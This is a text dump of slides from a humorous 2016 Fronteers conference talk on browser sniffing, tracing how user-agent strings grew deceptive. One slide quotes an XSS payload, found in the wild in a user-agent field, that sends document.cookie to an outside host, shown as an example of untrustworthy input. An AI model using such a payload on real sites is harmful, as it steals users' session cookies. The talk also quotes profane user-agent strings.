Tweet
Tweet

Slide 1

Slide 1 text

the 8 minute version that contains 
 none of that boring shit and just 
 the jokes and weird stuff everybody lies fronteers conference — jam sessions, october 6th 2016

Slide 2

Slide 2 text

this talk is full of 
 lies and deception warning:

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

yes… this talk is about browser sniffing

Slide 5

Slide 5 text

why?

Slide 6

Slide 6 text

browser sniffing is 
 dirty

Slide 7

Slide 7 text

you should use 
 feature detection

Slide 8

Slide 8 text

Dear Web Developers: Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

Slide 9

Slide 9 text

5 Reasons Why Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

Slide 10

Slide 10 text

everybody uses 
 browser sniffing

Slide 11

Slide 11 text

No content

Slide 12

Slide 12 text

why… is browser sniffing 
 so difficult?

Slide 13

Slide 13 text

things started out simple

Slide 14

Slide 14 text

Mosaic/0.9 Mosaic

Slide 15

Slide 15 text

Mozilla/1.0 (Win3.1) Netscape Navigator code name of 
 the browser

Slide 16

Slide 16 text

but it quickly started 
 to get complicated

Slide 17

Slide 17 text

Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer compatible with 
 Netscape Navigator 1.0

Slide 18

Slide 18 text

Opera/10.00 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Opera

Slide 19

Slide 19 text

Opera/9.8 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Version/10.00 Opera real version of
 the browser

Slide 20

Slide 20 text

Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en; rv:1.9.1) 
 Gecko/20090624 Firefox/3.5 Firefox build date of
 the rendering engine

Slide 21

Slide 21 text

Mozilla/5.0 (Windows NT 6.0; rv:2.0) 
 Gecko/20100101 Firefox/4.0 Firefox build date is no 
 longer updated

Slide 22

Slide 22 text

Mozilla/5.0 (Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

Slide 23

Slide 23 text

and it gets worse…

Slide 24

Slide 24 text

Mozilla/5.0 
 (Macintosh; U; PPC Mac OS X 10_4_11; en)
 AppleWebKit/525.27.1 (KHTML, like Gecko)
 Version/3.2.3 Safari/525.28.3 Safari

Slide 25

Slide 25 text

Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en)
 AppleWebKit/525.27.1 (KHTML, like Gecko)
 Chrome/15.0.874.120 Safari/525.28.3 Chrome

Slide 26

Slide 26 text

Mozilla/5.0 
 (Windows NT 10.0; WOW64) 
 AppleWebKit/537.36 (KHTML, like Gecko) 
 Chrome/44.0.2403.155 Safari/537.36 
 OPR/31.0.1889.180 Opera

Slide 27

Slide 27 text

Mozilla/5.0 
 (Windows NT 6.3; Trident/7.0; rv:11.0) 
 like Gecko Internet Explorer

Slide 28

Slide 28 text

Mozilla/5.0 (Windows NT 10.0)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/42.0.2311.135 Safari/525.28.3 
 Edge/12.10162 Edge

Slide 29

Slide 29 text

and those were all relatively normal user-agent strings

Slide 30

Slide 30 text

sometimes browsers lie to 
 hide their true identity

Slide 31

Slide 31 text

Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera

Slide 32

Slide 32 text

Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera Mobile (desktop mode) ROT 13 encrypted
 “mobi“

Slide 33

Slide 33 text

Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet Explorer

Slide 34

Slide 34 text

Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet Explorer (compatibility view) Trident 5 means it’s 
 Internet Explorer 9

Slide 35

Slide 35 text

and it is possible to change the user-agent string yourself

Slide 36

Slide 36 text

alert("My Little Pony"); document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + 
 document.cookie; My Little Pony XSS attacks

Slide 37

Slide 37 text

XSS attacks

Slide 38

Slide 38 text


 (╯°□°）╯︵ ┻━┻
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit) funny people

Slide 39

Slide 39 text

angry people

Slide 40

Slide 40 text

FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0
 
 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62
 
 Seriously, Go fuck yourself
 
 W3C standards are important. 
 Stop fucking obsessing over user-agent already. angry people

Slide 41

Slide 41 text

1.000.000
 unique
 useragent strings

Slide 42

Slide 42 text

1.000.000
 unique
 useragent strings 82 x fuck

Slide 43

Slide 43 text

1.000.000
 unique
 useragent strings 82 x fuck 6 x ass

Slide 44

Slide 44 text

1.000.000
 unique
 useragent strings 82 x fuck 6 x ass 3 x vagina

Slide 45

Slide 45 text

1.000.000
 unique
 useragent strings 82 x fuck 6 x ass 3 x vagina 108 x sex

Slide 46

Slide 46 text

1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 3 x vagina 108 x sex

Slide 47

Slide 47 text

1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex

Slide 48

Slide 48 text

1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

Slide 49

Slide 49 text

user-agent strings 
 cannot be trusted!

Slide 50

Slide 50 text

everybody lies

Slide 51

Slide 51 text

use browser sniffing for controlling access to 
 your website you should never

Slide 52

Slide 52 text

you should never use browser sniffing for determining browser capabilities

Slide 53

Slide 53 text

you should never build your own 
 browser sniffing library


Slide 54

Slide 54 text

No content

Slide 55

Slide 55 text

“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

Slide 56

Slide 56 text

“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

Slide 57

Slide 57 text

— Adolf Hitler “If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed”

Slide 58

Slide 58 text

thank you!

Slide 59

Slide 59 text

thank you!